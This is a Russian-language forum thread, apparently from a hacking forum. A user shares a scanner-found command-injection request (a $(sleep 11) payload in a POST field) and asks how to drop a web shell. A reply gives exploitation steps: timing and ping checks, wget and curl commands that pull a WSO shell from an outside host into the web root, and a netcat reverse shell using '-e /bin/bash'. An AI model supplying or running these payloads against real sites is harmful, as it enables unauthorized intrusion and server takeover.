Добрый день. Автоматический поиск уязвимостей на одном из сайтов нашел экзотическую для меня уязвимость "Внедрение команды оболочки в параметры файла" POST *****/?page_num=1 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; Trident/7.0; rv:11.0) like Gecko Referer: http://*****/r=1 Cookie: PHPSESSID=****** Connection: Keep-Alive Host: ******** Content-Length: 94 Accept: text/html,application/xhtml+xml,application/xml;q=0.9;q=0.8 Accept-Language: en-US Content-Type: application/x-www-form-urlencoded action=support&subject=1234$(../../../../../../../../../../../../bin/sleep 11)&message=25 Как корректно вставить команду заливки шела и просмотра содержимого каталога? Что то мои скудные познания в Nix-системах не дают результатов. Прошу набросать пару толковых примеров.
Ну для начала я советую вам удостоверится что уязвимость действительно есть, так как сканеры имеюют характерное свойство - ошибаться Отправить запрос с командой sleep 100 к примеру и посмотреть на ответ сервера, точнее время, если через 100 сек то уязвимсоть присутствует, если нет пробуем дальше Если есть вывод на страницу, то элементарные команды whoami uname выведут информацию о пользователе и хосте соответственно Последний вариант - это команды ping {ip адресс вашего сервера} - а там смотреть в логах ip адрес атакуемого хоста, конкретно access.log Список расположения логов можно посмотреть в этой теме(если возникнут проблемы) - https://forum.antichat.ru/threads/324564/ Для просмотра содержимого каталога не требуется шелл - вы можете и так гулять по системе в соответствии с вашими привелегиями так как у вас rce - возможность выполнять команды системной оболочки. Команды cd, ls, cat помогут вам в этом(при условии что есть вывод), но если вывода нет то да, лучше залить шелл или можем попытаться "подключить" обратный(reverse) шелл. Если выше способы не дали результатов я бы посчитал что уязвимсоти нет - иначе как сканер смог засечь задержку(выполнение команды sleep 11), но если мы знаем путь до директори, доступной из веб, можем попытаться залить шелл, последняя попытка - утилиты wget, curl Code: wget http://site.com/wso.txt -O /путь/до/сервера/name_shell.php аналогично curl Code: curl http://site.com/wso.txt -o /путь/до/сервера/name_shell.php вариант для обратного шелла на своем сервере Code: nc -lvp {номер порта для прослушки} на аткуемом Code: nc {ip вашего сервера} {port} -e /bin/bash возможно вместо /bin/bash нужно будет указать /bin/sh и поиграться с парметрами нетката Но для начала я советую вам установить линукс, хотя бы на виртуальную машину, потыкать посмотреть что да как. Ну и успехов вам) ps готов поспорить что там ничего нет, каким-нибудь vega тестили?) просто он постояяно такое выдает, интересно)